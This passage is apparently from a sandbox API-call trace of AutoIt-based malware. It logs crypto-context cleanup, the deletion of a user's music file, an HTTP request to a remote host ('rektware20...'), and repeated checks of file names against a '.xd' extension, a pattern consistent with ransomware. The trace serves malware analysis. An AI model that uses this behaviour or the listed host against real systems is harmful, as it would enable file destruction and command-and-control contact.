wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.017] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.018] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0065.018] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0065.018] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0065.018] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0065.018] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0065.018] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0065.018] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.018] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0065.018] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0065.018] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0065.018] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.018] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.018] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.018] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0065.018] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.018] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0065.018] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.018] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.018] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.018] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.019] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0065.019] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.019] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.019] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0065.019] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0065.019] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0065.019] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.019] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0065.019] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0065.019] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0065.019] CryptReleaseContext (hProv=0x17ab330, dwFlags=0x0) returned 1 [0065.019] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.019] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.019] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0065.019] FreeLibrary (hLibModule=0x74c60000) returned 1 [0065.019] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.019] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.020] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.020] CloseHandle (hObject=0x2ac) returned 1 [0065.021] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.021] CloseHandle (hObject=0x3bc) returned 1 [0065.023] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.023] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0065.023] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", lpFilePart=0x0) returned 0x4f [0065.023] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\zhbdg\\1-jq9xwnvijg7mpogy.m4a")) returned 0x20 [0065.023] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c2b0 [0065.023] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\zhbdg\\1-jq9xwnvijg7mpogy.m4a")) returned 1 [0065.025] FindNextFileW (in: hFindFile=0x164c2b0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0065.026] FindClose (in: hFindFile=0x164c2b0 | out: hFindFile=0x164c2b0) returned 1 [0065.026] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0065.026] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.026] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.026] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.026] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0065.026] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0065.026] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.026] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0065.026] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0065.026] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0065.026] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0065.026] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f58, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620f58, lpdwBufferLength=0x130ef8c) returned 1 [0065.027] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0065.027] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0065.027] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0065.027] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0065.027] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0065.027] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0065.027] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629210, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629210*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0065.028] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292f0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0065.028] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0065.028] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0065.028] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0065.028] CloseHandle (hObject=0x0) returned 0 [0065.028] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.028] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.028] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.028] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.028] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.028] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.028] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.028] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.028] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.028] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.028] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.028] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.028] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.028] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.028] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.028] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="usic\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sic\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ic\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Yia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="YxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Lz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="zhbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hbDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bDg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Dg\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="g\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ILGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LGRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GRE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RE7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hszJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="szJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="zJubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", 